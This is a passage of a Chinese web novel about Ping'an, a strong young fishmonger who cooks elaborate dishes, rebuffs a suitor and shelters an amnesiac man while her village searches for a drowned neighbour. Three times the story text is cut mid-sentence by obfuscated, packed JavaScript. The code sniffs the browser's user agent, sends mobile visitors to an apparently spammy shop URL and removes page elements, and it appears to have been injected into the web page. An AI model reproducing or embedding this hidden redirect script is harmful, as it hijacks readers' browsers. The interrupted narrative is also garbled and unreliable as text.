说是这样说，可考虑到那位病患，平安还是将新鲜捞上的小鱼煎得金黄，熬出奶白的鱼汤。再将鱼肉戳散，用笊篱与纱布仔细过滤，留下一锅无刺的雪白鱼汤与煎蛋枸杞一同炖煮。 家中所剩的几两猪肉，也被她剁成细细的肉茸打了汤，去汆细嫩的苋菜与菜苔。 这菜苔入口清脆多汁，回味清甜，或是清炒，或是下入腊肉的锅子中炖煮，都是绝品。 考虑到没有下饭菜，她亦取出自己做的鱼醢与肉醢，这两样醢，是经多道工序，历经数月窖制而成，其气之香，其味之鲜，皆得镇上老饕验证，他们在她档口买脍鱼片时常点名要赠。 除了未给他现杀鸡鸭，在她家这种条件下，能拿出来喂病患的菜她都已拿出。 可谁知这郎君望着满目的绿色菜碟便绿了脸，他嘴唇嗫喏，欲言又止，最终违心地道了句他不饿。 平安知他看不上这伙食，心底也暗道这郎君真难伺候。 她家的菜看着清淡，那也是多有荤腥，若不是怕他这病人吃不得发物，她做上一碗笋蕨馄饨下到这鱼汤中，那可真的是河鲜地鲜山鲜三鲜美味聚齐。 想到去年她采春日里最嫩的笋尖与蕨菜尖做出来的那道馄饨，平安也不禁咽了咽口水。 她力气大，揉出来的面团光滑细腻，擀出来的面皮更是轻薄匀称。而做馅的笋和蕨菜，那都是春日里刚冒出头的最嫩那茬，她又只取它们的嫩尖，挑出来的馅自然是嫩生生，脆卜卜。 将它们用高汤焯水，剁成颗粒状的小块，这焯水的时间，切块的大小，均需秉持着保持新鲜与口感的原则进行，多一分则老，细一分则无味。 如此处理好的馅料再与少许香油、香料粉、酱和匀，翻拌调制底味。 那馄饨皮薄而不破，入口极其细嫩爽滑，馄饨皮的软滑与蕨菜、笋尖的嫩、脆、鲜相结合，口感独特清爽。再辅之以独家香料酱料，那味道，拿肉来她也不换。 但思及他如今处境，她也并未多言，只是任他去。 等到次日，这郎君望着端来的饭菜依旧满脸菜色，平安观他迟迟不语，心下也来了脾气，端着饭菜扭头便要走。 “哎，等等，等等。”那郎君忙伸手拉她，可他一时不察，动作过大，却牵扯到伤口，疼得他嘶地倒吸一口冷气。 平安转身与他对视，他抿了抿唇，低头说道： “我，我没说不吃啊。”这语气，俨然是饿得老实了。 看他乖乖吃饭，吞咽的动作愈发利索，平安方满意接走吃空的碗碟。 家中藏了个人，平安只是多做一口饭，累的人却是她爷，每日需按时给他熬药，偶尔还得替他擦洗一二。 爷孙俩心照不宣地将家中多了个人的事捂得严严严实。 提着她的鱼儿上了船，平安又开始了新一天的杀鱼生活。 她现在家中的鱼卖不了几天，怕是明儿就得去官署指定的大河码头进货。 那里的鱼质量参差不齐不说，价格也并不便宜，压根赚不得多少差价，若是死上几条，一天都得白干。 但不干，每日的房租，家中的嚼用，还有那没还清的债务都让平安深感压力。 想到家中又多了个病患，每日里营养伙食必不可少。 平安每日每夜都在愁该怎么多赚些钱，愁来愁去，也只想出在家后面的河里多放上几个竹笼的笨办法。 若是能得些鳝鱼、对虾，鳌虾或是石螺，也能卖上不少的钱。 8. 杀鱼的第八天 河道虽禁渔，但坊间百姓也照常要人情往来，宴请宾客。 见平安外边挂着青虾，小河鱼，鲫鱼，草鱼的鱼牌，档口也有客上门。 平安不再与方娘子嬉笑，忙上前招呼客人。 这倒是个稀客，平安对他有些印象，他只说自己是外地来的，也不知是游商还是镖师，间或隔上一段时间，平安就见他一次。 “今儿有虾卖？” 平安点头，指着角落的大桶介绍：“河里新鲜捞出的，您看看，个头大，活蹦乱跳的。” 那青年郎君点点头，只盯着平安问道：“这虾如何做是好？” 平安笑着接过话茬：“这便要看您是喜欢清淡口味还是重口。” “若喜欢清淡，冷水与姜片黄酒葱一同下锅，待水沸腾片刻捞出，蘸上些许酱油蒜末，便可做一道白灼虾。这虾焯熟以后肉质嫩弹紧实，便是不沾酱料，吃着这虾的本味也极其清甜。” 怕他不相信，平安解释道：“您放心，咱们这水质清澈甘甜，养出来的鱼虾也干干净净，没那样重的腥膻。您凑近闻闻，都可闻见那股清甜的香味。” “若您喜欢重口，用刀开背，将虾线剔除，热锅凉油下油锅炸，待虾身炸至变红蜷曲捞出。锅中留底油再下葱姜蒜、芥辣、酱油爆香，将炸好的虾回锅翻拌均匀，便可做成芥辣虾。” “这样做出来的虾，虾身色泽红艳，虾油红亮，肉质弹嫩，入口香、辣、鲜，吃上一只，便可下一大口饭。” 见客人挑眉，平安接着道：“别看这名字辣，实则吃起来鲜香可口，口感醇厚，只有些许辣味，并无芥末的冲劲。” “如今正是芫荽发嫩叶的好时节，您若是喜欢芫荽，还可加些芫荽调味，吃起来更为鲜香。” “你这小娘子，倒讲得头头是道。”那郎君指尖摩挲着禁步的系绳，含笑夸赞。 对于美食，平安自小便十分喜爱。她也不知为何，见得新鲜稀奇的食材，脑袋里总能冒出许多稀奇古怪的吃法，上手一试，味道还挺好。 看平安展露笑容，他俊眉微挑，嘴角亦随之舒展笑开。那麦色的面庞上，一双星眸格外亮眼。 说着，他便从怀中掏出一串铜子。 “来三斤。” “好嘞客官！鲜虾三十五文一斤，盛惠一百零五文。” 在他数数的间隙，平安转身去捞虾，将水沥干，方给他上称。 三斤，不多不少，刚刚好。 那郎君眨了眨眼睛，哑声轻笑：“我想尝尝这重口的，只可惜没有合适的工具。” “我有。”平安赶忙搭话，“您若不嫌弃，我现在帮您挑完开背？只是回去就得尽快下锅了。” “那，便多谢小娘子了。”他轻掸衣袖，满含笑意朝平安行了个揖礼。 “应当的，应当的。”平安侧身避让，低头去寻自己的木把长针，只做不知那人打量的炽热目光，埋头处理手中的青虾。 “小娘子一人担起这档口，也挺辛苦的，可有。” 平安憨笑打断：“我力气大，不辛苦。” “小娘子如此勤快又贤惠，想来府上冰人都被踏破门槛。”那人看看左右，头往后微倾，状似不经意间打探平安的情况。 此话一出，一旁看戏的摊主们都不由捂嘴笑出声来。 见他目露惊疑，摊主们又纷纷装作忙碌扭头不再看两人。 “那倒没有，我要招赘，这镇上的冰人都不接我的单了。”平安如实应答，她已明白，这人好似对她有些意思，但她并不想与不知根底的外乡人牵扯过深。 “以娘子的条件，只需寻个富庶的夫家，无论是家中长辈亦或是其他纷扰，皆可得到妥善安排。” 平安含笑未语，将手上的虾处理完，转身提来自己十多斤重的大砍刀。 只见她右手轻轻一挥，伴随着猎猎风声，砍刀如风车一般在空中旋转数圈。 就在那郎君仰头惊诧之际，那刀破空簌簌而来，直直砍进案板之中，发出阵阵颤抖的嗡鸣。 年轻郎君咽了咽口水，在一瞬间的失神过后，竟很快恢复如常。 平安瞅着，他目中的兴趣之意，怎么倒更浓了。 她笑着将刀从陈旧的砍痕中取出，赧然道：“拿错刀了，抱歉。” “不碍事，辛苦娘子了。”那人畅笑出声，伸手递过铜钱，英朗的眉眼愈发夺目。 平安这才收钱，数完数，将铜钱收入匣中。 “我叫齐鸣，下次再会。” 未走两步，他突然回首，视线朝平安直接扫来。察觉到他炽热凝重的目光，平安下意识垂眸闪躲，只当自己是档口两边撑檐的木柱。 待这郎君潇洒的背影再也不见，一众看热闹的街坊这才嘻嘻哈哈挤在平安身边。 “我就说咱胡娘子还是有行情的，这不是，来了个知你真性情还不怕死的，嗯？”说着，手肘顶了顶平安的胳膊。 “咱胡娘子模样这样俊，看不上才是那些男的瞎了眼。” 这下，平安是被她们说得有些不好意思了，她佯装扇蚊子左右扇了扇，试图缓解脸上的燥意。 可偏偏方娘子还不肯放过她：“看看，这粉面桃腮的妍丽模样，连我这妇人都看花了眼。我就说了叫你趁着禁渔回家养养这身皮子，莫要再晒太阳，届时出来闪瞎那些人的狗眼。” 平安被她这番话逗得哭笑不得，她知自己模样艳丽，她也明白男人都喜欢雪肤花貌的娇嫩娘子。 但她却不想靠着这身皮肉来讨好男人。 色衰爱弛，单靠容貌能得几分长久。 今儿生意不如前几日好，幸得这虾填补亏空安她的心，为着省钱，平安就着早上带来的几块饼便随意敷衍一顿。 一旁的杨婶看不下去了，喊她拿上筷子在自己这里吃几口，平安倒也没拒绝，只是来的时候又带着几只去了虾线洗净的青虾。 正好放杨婶她们锅子里，可一起喝个虾汤。 “你这孩子，这么多年邻居，还跟我分得这么清。” 平安只嬉笑道：“哪有空手上门的道理，不值几个钱，咱们一起吃个鲜。” 待收了档口，平安没有直接回家，而是往城里而去。 她要去把那郎君的几颗宝石当了，换些银钱给他治病吃用。 谁知她千辛万苦来到当铺，那掌柜的上下打量她几眼，却捏着手中两颗宝石叹道：“不值什么钱，你是活当还是死当？” “活当。” “活当就更不值钱了，这宝石看着好看，实则是颜料浸染出来的下等货色。” 平安只是静静看着他扯了一番道理，而后开口问道：“活当多少钱？” 那掌柜的扶了扶一边的叆叇，低声道：“活当顶多两贯钱，死当可给你四贯。” “不会吧。”平安不可置信地质问掌柜。 “我没拿错啊，你拿来给我看看。”趁那掌柜愣神，她神情自若地从那掌柜的手上掏走两块宝石。 装模作样看了两眼后，她摇摇头：“既然这么不值钱，那便算了。” 说着她便转身快步离去。 “哎哎哎，别走啊。” 平安哪能不走，这样的黑店，她不跑快些都已算她能忍。 等绕过这条街，她方靠着一家胭脂铺的外墙大口喘息。 早听闻当铺中连条狗都是富贵眼，果不其然，那掌柜见她穿着朴素，肤色暗沉，第一眼就知她是乡下出来的，想将她哄骗低价卖了那宝石。 以那郎君的富贵穿着，她怎么猜这宝石价格不会低于十贯才是。 这附近就这一家当铺，看来，这宝石今日是卖不了了。 罢了，反正她现在身上还有几贯银钱，养个病号倒不至于再欠上一笔债。 她望了眼官署附近卖鱼的码头，转身往衙门走去。 从官衙出来，码头依旧人声喧嚷，好不热闹，隔着老远，便可闻见那冲天的鱼腥味。 现下禁渔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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提了鱼，平安又顺道去旁边的肉摊花了二十文提了几块猪棒骨并半斤瘦肉。 她家爷节俭，若她不买肉，他可以连着吃几个月的素菜，将自己吃得面黄肌瘦也依旧嘴硬。还道他们幼时吃树皮，掘草根，挖观音土，都是这样过来的。 他舍得苛待自己，平安却心疼他。 因着下午走得远，归家时已近黄昏。 踏着彩色的霞光，平安挑着满满当当的物什回了家。 一进门，便见那捡来的郎君正坐在院中发呆。 想起之前他问她家中可有牙香筹，她便知这人是个四体不勤五谷不分的贵公子。 她家哪有牙香筹，有柳枝就算不错了，那下等的牙粉都是她花了大本钱用青盐与香料所制。 就这，每日能用上牙粉漱口，她家已算得上村中的讲究人家。 平安现在也不指望这病患能帮上什么忙，径直唤向在堂屋编竹笠的胡水生。 “爷爷，看我带了什么回来。”回来的路上，平安从水沟里捡到一麻袋被丢弃的狗崽，虽然家中如今境况不佳，但她犹豫半晌，还是决定先将狗子带回。 “安安，回来了啊。”胡水生忙放下手中的活，拍了拍手上的灰，笑吟吟地走出屋子。 见到孙女又给他捡了东西回来，他也不恼，只是背着手，好脾气地围着那地上那群狗子细细打量。 “快去拿些干布给它们擦擦。” 随即他又转身指使在院中发呆的郎君：“你，去捡些柴火，把火烧起来。” 等平安寻来旧布，这郎君依旧愣愣待在院中，只低声答：“我不会烧火。” 真是个榆木疙瘩，连烧火也不会，平安心中腹诽。 她也不惯着他，唤道：“不会也没事，过来，我教你怎么生火。” 那人傻是傻了点，总归知道现在寄人篱下，还是乖乖随着平安进了灶房。 寻了个烤火盆，平安舀上一瓢米糠垫底，接着又从灶炉内掏出一堆草木灰放上面。 将米糠中间掏了个洞，她叫木头拿来几根细柴在洞口搭成交错空心状，她则取来几根干稻草引燃。 待细柴燃起，平安提醒他：“等火大些就可添几根粗些的柴火。” 看他呆呆点头，平安笑问：“今日可想起什么来？” 9. 杀鱼的第九天 那郎君摇摇头，神色惘然。 平安早知是这样，心下也不失望，只是笑着提议：“若不是捕鱼捞上那根船舵，我也不会发现你，不如以后先叫你木头可好？” 说起来，若不是那根榆木船舵，他这会怕是已经成了洛江上的一具浮尸。 “名字只是个称呼，随胡娘子的便。”他怔怔望着平安，喃喃出声。 细柴燃起，发出阵阵噼里声响。 昏暗的灶房中，呛鼻的青烟瞬间弥漫。 “咳咳。”木头被浓烟呛得咳嗽不止，这才回过神来，他看了眼目不斜视添柴的平安，借着咳嗽的动作捂着心口慢慢收回视线。 想来是连日阴雨让柴火受了潮，这才生出这股刺鼻浓烟。 门外耀眼的光线透过门缝斜斜撒入，灶房内四散的青烟在这一刻仿佛也有了生命，随着光芒在空中四处悦动。 想起他肺中曾经呛水，平安忙起身将灶门推开通风，并未注意身边人眸中一闪而过的深色。 两人三言两语间便将他的名字敲定，平安觉得，这人虽然四体不勤五谷不分，但好似还挺好说话。 平安给了他几根干草垫着手，叫他把火盆端到墙角，把狗儿抱进来暖暖，他也只是埋头照做。 她爷爷早已将米饭蒸好，一灶台上旁还放了一大盆她爱喝的米汤。 米汤晶莹剔透，如玉脂雪霜，入口更是细腻浓滑，清甜甘香。 这熟悉的米香与回甘，是她幼时记忆中难得的甘甜滋味。 将灶房紧闭的窗扉支开，屋外的光线瞬间投射至灶台。 灶房内视线霎时明朗，她取来碗，开心地舀了碗米汤，闭目细品。 嗯，还是熟悉的浓密细腻口感。 她将火升起，下骨头姜片焯水洗净，随后放入砂锅炖煮。 至于这肉，她切成薄片，取酱油，生粉腌制后，去后院菜园拔了几根香蒜苗。 等平安端着一盆香蒜肉片与龙骨莲藕汤上桌时，就见她爷正提着早上放好的笼子回来，笑得眉眼弯弯。 “今儿运气不错，里面有几条黄骨鱼与刁子鱼。” “那敢情好，明儿又可多卖几十文了。”平安殷勤地接过鱼笼，将里面的鱼虾分好类。 这会，木头已将那些小狗崽烤得差不多了。 看他呆呆拉着狗儿蹲在一旁，胡水生进门，捏开狗崽嘴巴，观察片刻后嘱咐孙女：“应当是刚断奶的奶狗，咱们先用米汤养着，等过几天再看看村里有没有人要养。” 见孙女不吱声，他笑问：“怎么了，安安？你若是喜欢，咱们养上两条也行。” “真的？”平安眼前一亮。 “你这孩子，这个家现在都是你撑起来，只要你别舍不得花钱就成。” “怎么会？”平安上前拉了拉爷爷的衣袖，“爷爷才是一家之主，是家中的顶梁柱，爷爷帮我选两条吧。” “好！” 平安喜滋滋回灶上又炒了把嫩生生的白菜苔，这才喊上爷爷他们吃饭。 许是吸取之前的教训，木头这人，呆是呆傻了些，但在饭桌上却嘴甜得很。 除了闷声添饭之外，就是连连夸赞平安厨艺高超，夸爷爷的饭煮得香软可口。 平安只觉好笑，他第一日来对这些饭菜可是万般看不上，现如今，也为了一碗饭折了腰。 想着想着，平安便笑不出来了，这郎君若一直恢复不了记忆，找不到家人，那他可怎么办，一直住在她家？ 她之前心里虽有些胆大包天的想法，可她也只敢想想，若真敢用了人就丢，她爷都不会轻饶了她。 面前平平淡淡的农家家常菜，若说与别家有什么区别，就是多了几十文的荤菜。 她不信吃惯了山珍海味的挑剔舌头，会觉得这粗茶淡饭味美。 这人估计只是怕她赶他走，她便也当做他说的真话。 只不过，平安腹诽不停，胡水生这回倒是挺赞同他的话。 “安安的菜做得越来越香，连我老头子也忍不住想多吃两口咯。” 如今在禁渔期，平安只隔几日进上一回货。 每日里除了卖鱼外，她在镇上也没别的事可做，倒是比之前要早回家。 一转眼，那木头已在她家养伤数日，除了前面两日在床上躺着，后边倒是很快恢复如初。 考虑到春日水寒，他在水中浸泡多时，头部与肺部均有所损伤，平安这几日便想着法替他熬些药粥滋补一二。 家中食材短缺，她只好挖出种了几年的天麻与肉沫炖煮凑合几日。后又翻箱倒柜，四处摸排，得来黄精与山药。 煮天麻粥的日子，她将山药削皮切片晾晒。 这山药胶质浓郁，营养丰富，最忌猛火炒用，需等待烈日慢慢晒干水分，方可保存营养。 待山药片晒至一掰就断，平安便提前浸泡糯米，给他煮起山药粥来。 每日晨起打糯米半斤，清水适量，与药食入砂锅炖煮。以文火炖煮数个时辰，直至粥开汤稠，表面便出现一层晶莹剔透的粥油，下入砂糖调味。 文火慢炖的山药粥，粥质浓稠白腻，入口即化，最上面那层粥油口感更是其中翘楚。饶是有些嘴挑的木头，在被平安按着头皮灌下一碗后，也被它乖乖俘获，每日定时朝她讨要粥来。 说来奇怪，她自有意识来，便只记得来月河村的事。 再往前，她的记忆却是一片空白。 随着她年龄增长，她开始在庖厨一道上展露天赋，别人做过的菜，她粗粗看一遍，就能仿出个大差不差的味道。 许多食材，在看到的第一眼，她脑中便涌现许多种新奇做法。 随着她下厨时日变多，她对做菜火候的把控，食材与调料的搭配更是得心应手，就仿佛曾经做过千百遍。 最开始，她只觉得是兴趣使然。 可到后面，她发现脑中的记忆有些失控，这种玄之又玄的事让她心生恐惧，这些“天赋”与她那身难以解释的巨力一般，都是不可与他人言的怪事。 听她爷爷说，她小时候曾生了场重病，高烧几日，估计她脑袋就是那时候烧糊涂的。 平安不是没想过她的亲生父母究竟是何模样，只是她在村里长大，对他们的期盼也随着年龄增长而逐渐消减。 这个世道，许多人家生了女儿都是送人或是卖掉，她与家人走失，无非是那几种缘由。 每每想到此处，她便心生庆幸，幸好是爷爷捡到了她。 长风镇汤家，见得平安迟迟没有动静，也终于忍不住派上中间人来打探一二她的想法。 她能有什么想法，只看汤家大嫂的野心能不能少一些。 若是二三十贯，她还勉强凑一凑，若她坚持不变，那就让他们家二郎花上几十贯聘礼去娶个媳妇回家吧。 那几条狗儿，如今也都活蹦乱跳，两条被她爷送了村里还算富庶的人家看门，剩下一条灰的，一条白的则留给了平安。 狗子的名字也像他们这个家一样简朴，灰的叫灰灰，白的叫小白，是在村里喊一声，十条狗都会回头的名字。 这几日回家得早，她也有了更多时间帮家中干农活。 见平安锄完草便挥舞起锄头翻地，木头在一旁看得目瞪口呆。 他指着平安叫道：“这样的粗活怎么能让小娘子来，你放开，我来。”这小娘子怎看着不知疲倦，这样作践自己身体。 平安停下手中动作，双手搭在锄头把上，好整以暇地打量他一眼。 神情倒不似作伪，但她望着他那弱不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053561|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风的身子板，心中实在生疑。 这样娇养长大的郎君，平日里怕是锄头都没提过，他能挖进几寸土？ 更何况，他还大病初愈。 奈何他坚持，平安拍了拍手，将锄头递给他。 刚挖第一下，木头的脸色骤然一变，他看着胡娘子挖得轻松，没曾想自己这锄头刚进地，便被泥土深深陷进，半晌挣脱不得。 他用力将锄头往外拔，却始终不得法，那黑乎乎的泥土好似有巨大的吸力，直将他勾得往前一个趔趄。 木头慌忙稳住身形，这出糗的动作让他霎时面红耳赤，心脏咯噔直跳，焦急地几近喘不过气来。 他余光瞥了眼平安，心中又羞又恼，亦不想被她看轻，遂连忙憋出一股劲来集中心神，这才勉强稳住身形。 半晌后他艰难抬手擦汗，朝平安尴尬一笑，继续挥舞旁边的夯土，平安看着他冷汗涔涔，脸色由赤红变得煞白。 怕他这条小命就此交代，最终还是好笑地抢过他手中的锄头。 这地挖得这样浅，她还得返工。 这人若是伤口撕裂，她还得出钱。 啧，真是不经用的男人。 看她面不改色地重挖菜土，木头脸色微僵，转身去爷爷那边寻活干去了。 将地锄好，平安好心情地拿了两条小鱼干逗了逗狗儿。 两个小家伙也很讲义气，即使平安在家中的时间不多，它们最亲近的也还是她，吃了她的小鱼干，两只狗崽化身跟屁虫，疯狂朝她摇尾，对着平安又是舔又是扑。 享受完狗子的热情，平安起身往灶台看去，她出门前炖煮的糯米藕，这会已经勾芡上色。 锅盖一掀开，一股清凌凌的藕香扑面而来。 两节胖乎乎的藕节挂满赤红芡汁，这会正咕噜咕噜地在锅中沸腾。 平安净手将砧板洗净，随后夹出糯米藕，切片放盘。这藕，她已在芡汁中加上熬煮的糖水炖煮多时，早被炖煮软绵，甜味浸透至藕心。 吃在口中甜滋滋，粉糯糯，便是牙口不好的人也可囫囵抿上几口尝尝鲜。 荷色的莲藕中间均匀填满软糯晶莹的糯米，一口下去，莲藕的粉糯与糯米的柔韧在舌尖交织，伴随着沁甜的糖水，让人来不及反应便已吞咽下肚，只留下满口清香。 见孙女又捣鼓吃食，胡水生只是笑意盈盈劝上一句莫要累着自己，随后叫她送上一些给两个哥哥。 他们年纪大了，牙口不好，这个东西软糯却不粘牙，想来容易嚼用。 平安将藕片拿出一半，用荷叶包好，草绳一系，提溜在手中轻便又干净。 在送东西给伯爷他们的路上，就遇见许多妇人正在她伯爷家对面的槐树下闲聊。 平安以前最不喜的就是这种妇人齐聚的地，以往她相看失败，每每来这都得僵直着背走。若是不出意外，在这里经过，狗都得被说上三句。 她，当然也不例外。 不待她走远，她们就已噼里啪啦说起胡水生家的这个孙女，怕是难嫁出去之类的话。 听得多了，平安耳朵也就起了茧。 她在村里可以不在意别人看法，可她爷要强了一辈子，她不想因着她，连累他老了还被人在背后道闲话。 秉承着打不过就加入的原则，后来，平安每次都笑意盈盈地与众人招呼，见着年纪大的就喊婶婶，见着年轻的就是姐姐，嫂子。 伸手不打笑脸人，时间久了，她也能与她们聊上几句。 这会见她们仍在这边叽叽喳喳，平安好奇凑近，什么事能让她们聊这样久，也随她们聊上几句自己在镇上听到的小道消息。 话题一转，有人突然哀叹：“哎呦，长明家的老二怕是不好咯，已经好几日没归家了，船也找不到了。” 10. 杀鱼的第十天 平安心下大惊，这个当口，难道是遇上了水匪。 她忙收敛看戏心态，赶忙叮嘱村民最近划船出远门需要注意，大河那边有怕是有水匪出没。 听得这个消息，几位大婶亦惊得连连后退。 “多少年没听见水匪了，怎么又出来了？” “我也是听镇上的人说的，这种事宁可信其有，不可信其无，大家出去最好莫要落单。”平安拉住这位堂婶，压低声音叮嘱。 平安说的这个消息，很快便以狂风般的速度席卷整个村庄。 等到次日，平安卖鱼归来，就见长明家的坐不住了，他们这会正四处喊人，想要组建船队一块去大河捞尸。 村里多是宗族聚居，守望相助，不同姓氏之间又通婚多年，姻亲关系错综复杂，多的是未出五服的亲戚。 这会长明家的喊人，胡水生也让平安放下手中杂事与他一同去帮忙。 当年她爹的尸体是村里人帮忙带回，这个恩情，她爷心中一直记着。 遇见这种事，村里人这会也齐心协力，不过片刻，长明家便凑齐周边十几艘小船，大家操着家伙，带着渔网与吃食，一同往大河中赶去。 爷孙俩将家门落锁，嘱咐木头一人在家看好狗儿与池塘，莫要随意外出。 木头虽失忆，但好歹人不蠢，没几天砍柴烧火的活也逐渐学会。 锅中还有剩饭剩菜，平安倒也不怕他饿着。 只是她没想到，寻人这样难。 大河宽几十丈，河水更是深不见底，他们此行无异于大海捞针。 河间风大，两米宽的小船被风浪一卷，船身便在水上摇摇晃晃，连带着船上的人也趔趔趄趄，下盘不稳。 事关人命，众人皆不敢轻言放弃。在经验丰富的老渔民调遣下，村里人还是摆出纵横列队，在河中仔仔细细搜寻起来。 连着两日，村民们连一些破碎的船只沉木都捞了出来，就是找不到人。 既人力不可求，许多人便提议去找附近很准的一个八字仙算一算，看看人在哪个方位。 长明家的一把鼻涕一把泪找到那里，那人问了失踪日期和他生辰八字，便告诉长明家的，人肯定是没了，趁着头七未到，家属与他一起去河边请水拜神，再在河边烧烧纸钱，喊他名字。 等到失踪第七日，再看看情况。 这会长明家的也早已六神无主，只能死马当活马医，一家子日夜在河边唤他家二郎名字。 到第七日，众人竟真在搜寻过程中发现几具浮尸。 可这好几个人，哪个才是他家二郎呢。 村民们合力将那些尸体捞上岸，那些尸体已然腐败恶臭，面目难辨，长明家的勉强通过衣着辨别出了自家二郎。 剩下几具不知姓名的，村里人也将他们带回，顺道报了官。 红事不请不来，白事不请自来。村中新办丧事，胡水生得出去帮忙。 因这王家二郎父母皆在，他人又未曾留下后嗣，村中老人都称他为化生子[1]，应偷偷下葬不允入祖坟。 奈何他死得冤枉糊涂，又是被人所害，他家人又不肯不管，族里便做主只让道士给他念上两天道场超度冤魂，草草下葬了事。 一路纸钱飞舞，炮竹开路，王家二郎便在村中荒地里入了土。 平安心想，家中那被她捞出的木头，怕也是与王家二郎同一天遇的事，只是他运气比王二郎要好。 听得村中不时传来鞭炮巨响，喂狗的木头也蹲下沉默许久。 他现在无名无姓，身无分文，还不知前路在何方？ 从王家回来，平安与木头在灶房约法三章。 这会他身上的皮外伤好得七七八八，作为交易，他每日在胡家吃住，需要帮她爷爷承担部分家务。 “喂？”平安挥了挥手，诧异喊道。 “嗯？”木头这时方如梦初醒，他瞥了眼平安，随即迅速转移视线。 “我刚刚说的话你听到了吗？” “嗯，我愿意。” 愿意就成，平安拍了拍他的肩，转身就走。 可眼角余光却瞥见那人垂眸僵立半晌。 怎么，她手又不脏，至于这样吗？ 平安心中腹诽，这样龟毛讲究的人，在她家这黄土茅屋破房子住着，看来不知受了多少“委屈。” 罢了罢了，说不定反正等他痊愈就可分开，一时的不习惯忍忍就过。 想到档口那边一摊子烂事，平安就觉得一个头两个大。 她沦落到今日无冰人问津的地步，除了她名声不好外，她自己也明白，是她事事过于追求完美。 那些冰人，确实难寻一个事事如她心意的好郎君。 蹉跎多年，事到如今，她才醒悟，世间压根没有这样完美的人在等她。 左右成亲一事不急在这一两日，她还有些时间可再相看相看。 王家二郎丧事才过没多久，就有村民扬言瞧见他回来了。 原来是那艘载王二郎归家的船出现了奇怪的水印，晴天倒是不显，等到了雨日前夕，空气中尽是潮湿的水汽，船板上便渐渐显出深色的人形水印。 许多村民都在传王二郎死得糊涂，怕是要回来找人顶命。 听大伙说那船不大吉利，王家人连夜找中人欲卖掉那艘船，可却无人敢接。 最终还是请人来驱驱邪，找了几块新的木板换了甲板，又捏着鼻子继续用了起来。 听得这个消息，一时间村中人心惶惶。 胡水生知孙女每日都在河上飘，也怕她心生惧意，便拉着木头前来开解。 “那不过是些乱编的瞎话，安安莫要听他们的，你在外若是怕，就抓住爷爷给你求的这个平安符，这可是开过光的，灵得很。” 嘴上说着莫信，可他行为却十分实诚。 平安笑着接过，嘴上还安慰了她爷爷几句。她确实不信这些，她猜那个水印估摸着就是天气原因。 那艘船多日未曾下水，甲板一直处于干燥状态，再在晴日里遇上湿漉漉的尸体，这水浸透其中，那印记可不就见天而变吗？ 至于尸体浮起，那与王二郎尸身一块浮现的其他尸体，王家人也没喊他们名，不也照样出来了。 怕不是人死后，若是没进鱼腹，到了一定时间自会浮出水面呢。 因着这一段闹鬼的传闻，白日里，村中四处闲逛的人也少了不少。 平安觉得耳根清净许多，便也好心情地打算去挖一挖春笋吃个鲜。 河堤的小路上，这边已遍布紫云英、金雀花、鼠曲草这类花草，平安好心情地摘下一朵紫云英别在发间。 她有些好奇，这花儿长得这样像莲花，为何要叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思及春笋甘鲜之味，平安看木头挖得起劲，再观这四下无人，当下在空地上挖了个坑，寻了颗嫩笋扔进，又扫了一堆竹叶覆盖其上，打开火折子，就地做起这傍林鲜来。 用竹叶燃烧的文火细煨的竹笋，竹香浓郁，味道极其鲜美，引来不少文人墨客为这道菜赋诗作词。 她守着火堆，不时添些竹叶进去，只待时间慢慢造就这餐美味。 “胡娘子，这好多！”他的声音隔着密密竹林远远传来。 平安捡拾竹笋扔进背篓，又将火堆四周竹叶清理干净，便朝他那边去看看情况。 谁知刚到，就见他挖了一个半米深的坑，这会还在吭哧往下挖。 见平安过来，他心下大喜，便想在她面前表现一番，遂双手用力拽住笋尖，想着举起来给她看个新鲜的大笋。 谁知却拔了个倒葱，自个直直往挖的那笋坑栽去。 “小心！”平安快步上前，赶在他着地之前拽住他后背衣领。 木头那双漂亮的桃花眼瞪如铜铃，他只觉时间仿佛在这一瞬间凝滞。 他慢吞吞地扭过头，刚瞧着胡娘子脸上的担忧之色尚未褪去，他便发现自己悬空而立，胡娘子那张俏丽的面容愈来愈近。 他尝试着挣扎，可却无事于补。 他，他没看错吧？ 她，单手将自己提了起来？ 11. 杀鱼的第十一天 平安自是没错过他眼中的惊惧。 将人拉出后，她快速收手，眼眸半阖，佯装抽痛唤道：“哎呀，你没事吧？” 说着，便捂着胳膊，蹙眉蹲坐在地。 看她疑因自己受伤，木头只觉刚刚那悬空而立的怪事倒像是自己危及之中臆想出来的幻想。 胡娘子这艳丽的容貌，着实长在了他心坎上，虽她肌肤不够白皙，但不知为何，她的一颦一笑总能让他魂牵梦萦，心如小鹿乱撞。 这会见着美人秀眉微蹙，他也只觉感同身受，痛得心肝乱颤。方才心中的怪异之感瞬间化作烟云远去，他趔趄着上前拉住她的衣袖，急促问道：“胡，胡娘子，可还好？” “不，不好。”平安倒抽一口凉气，压着嗓子低声回应。 意识到自己与她过于亲近，虽四下无人，但木头依旧心虚地缩回了手。 看他的手僵在半空不知如何是好，平安扯出一抹虚弱的笑容：“麻烦你扶我左边一下，我右手方才用力过猛，好似扭到了。” 因着这段插曲，木头自觉愧对平安，更是男子气概大涨，愣是主张自个背着全部的竹笋回家。 当然，他看着高大，实则身板也不甚健壮，自是分了两趟，流了几身冷汗，才堪堪将这些重物运完。 